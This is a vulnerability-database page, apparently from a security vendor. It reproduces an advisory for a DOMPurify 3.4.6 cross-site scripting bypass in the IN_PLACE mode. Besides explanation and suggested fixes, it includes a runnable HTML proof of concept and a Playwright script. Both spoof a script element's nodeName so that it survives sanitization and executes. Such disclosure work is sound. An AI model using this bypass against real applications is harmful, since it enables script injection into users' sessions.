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Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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352,427

Total vulnerabilities in the database

DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects — dompurify

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main _sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.

This affects current 3.4.6. The recent IN_PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.

Affected

DOMPurify 3.4.6
Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) on attacker-supplied live DOM nodes
Verified attacker-controlled node sources:
- same-origin iframe → live node passed by reference
- same-origin window.open() popup → live node passed by reference
- same-origin foreign node adopted into the host document via document.adoptNode(node) and then sanitized in-place

Not affected:

String-input DOMPurify.sanitize(dirtyString)

Vulnerability details

Code paths

[A] — _sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:

const _sanitizeElements = function (currentNode: any): boolean {
  ...
  if (_isClobbered(currentNode)) {
    _forceRemove(currentNode);
    return true;
  }

  const tagName = transformCaseFunc(currentNode.nodeName);
  ...
  if (
    FORBID_TAGS[tagName] ||
    (!(...) &amp;&amp; !ALLOWED_TAGS[tagName])
  ) {
    ...
    _forceRemove(currentNode);
    return true;
  }
  ...
};

For non-form nodes, _isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.

[B] — _isClobbered is form-specific:

const _isClobbered = function (element: Element): boolean {
  const realTagName = getNodeName ? getNodeName(element) : null;
  if (typeof realTagName !== &#039;string&#039;) {
    return false;
  }

  if (transformCaseFunc(realTagName) !== &#039;form&#039;) {
    return false;
  }

  return (...);
};

The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.

Why the bypass works

The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's IN_PLACE pipeline.

If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN_PLACE: true }) as its final sanitization step.

For the verified primitive below:

the real child node is <script>
its script text is attacker-controlled
the observable nodeName is attacker-controlled and made to appear as "DIV"
_sanitizeElements therefore classifies the real <script> child as an allowed element
the real <script> survives in the sanitized tree and executes on insertion

This primitive survives:

direct reference passing
document.adoptNode(node) followed by IN_PLACE

It does not survive:

importNode
cloneNode

because those paths materialize a fresh node and discard the hostile object semantics.

Proof of concept

(1) Minimal — runnable in a single browser context

&lt;!doctype html&gt;
&lt;html&gt;&lt;body&gt;
&lt;script src=&quot;dist/purify.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;
  const foreign = window.open(&#039;about:blank&#039;, &#039;_blank&#039;, &#039;noopener=no&#039;);

  const host = foreign.document.createElement(&#039;div&#039;);
  const script = foreign.document.createElement(&#039;script&#039;);
  script.textContent = &#039;window.__pwned = 1&#039;;
  Object.defineProperty(script, &#039;nodeName&#039;, {
    value: &#039;DIV&#039;,
    configurable: true,
  });
  host.appendChild(script);

  DOMPurify.sanitize(host, { IN_PLACE: true });

  console.log(&#039;output:&#039;, host.outerHTML);
  // &lt;div&gt;&lt;script&gt;window.__pwned = 1&lt;/script&gt;&lt;/div&gt;

  window.__pwned = 0;
  document.body.appendChild(host);
  console.log(&#039;handler fired:&#039;, window.__pwned === 1); // true
&lt;/script&gt;
&lt;/body&gt;&lt;/html&gt;

(2) End-to-end — Playwright

const { chromium } = require(&#039;playwright&#039;);
const path = require(&#039;path&#039;);

(async () =&gt; {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.goto(&#039;about:blank&#039;);
  await page.addScriptTag({ path: path.resolve(&#039;dist/purify.js&#039;) });

  const result = await page.evaluate(async () =&gt; {
    window.__hits = [];

    const foreign = window.open(&#039;about:blank&#039;, &#039;_blank&#039;, &#039;noopener=no&#039;);
    const host = foreign.document.createElement(&#039;div&#039;);
    const script = foreign.document.createElement(&#039;script&#039;);
    script.textContent = &#039;top.__hits.push(&quot;script-fired&quot;)&#039;;
    Object.defineProperty(script, &#039;nodeName&#039;, {
      value: &#039;DIV&#039;,
      configurable: true,
    });
    host.appendChild(script);

    DOMPurify.sanitize(host, { IN_PLACE: true });
    document.body.appendChild(host);

    return {
      version: DOMPurify.version,
      output: host.outerHTML,
      fired: window.__hits.includes(&#039;script-fired&#039;),
    };
  });

  console.log(result);
  await browser.close();
})();

Observed:

Chromium / Firefox / WebKit

{
  version: &#039;3.4.6&#039;,
  output: &#039;&lt;div&gt;&lt;script&gt;top.__hits.push(&quot;script-fired&quot;)&lt;/script&gt;&lt;/div&gt;&#039;,
  fired: true
}

Impact

Direct

XSS via retained real <script> nodes inside attacker-supplied live DOM objects.

Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.

The typical pattern is:

// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();

// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);

If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.

Indirect / second-order

Applications that accept same-origin plugin / extension / widget DOM and rely on IN_PLACE as the final sanitization step
Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization

Suggested fix

Two minimal-risk options:

Stop trusting instance-visible nodeName for the element decision in IN_PLACE.

Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.

In other words, the main pipeline should not do:

const tagName = transformCaseFunc(currentNode.nodeName);

on hostile live objects.

Generalize hostile-node detection beyond form.

The current _isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN_PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:

nodeName
attributes
childNodes

Either approach would close the verified primitive above.

Published: Jun 15, 2026
Updated: Jun 16, 2026
GHSA: GHSA-x4vx-rjvf-j5p4
Severity: Low
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-79

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	From	Fixed in
dompurify	-	3.4.6.x

https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.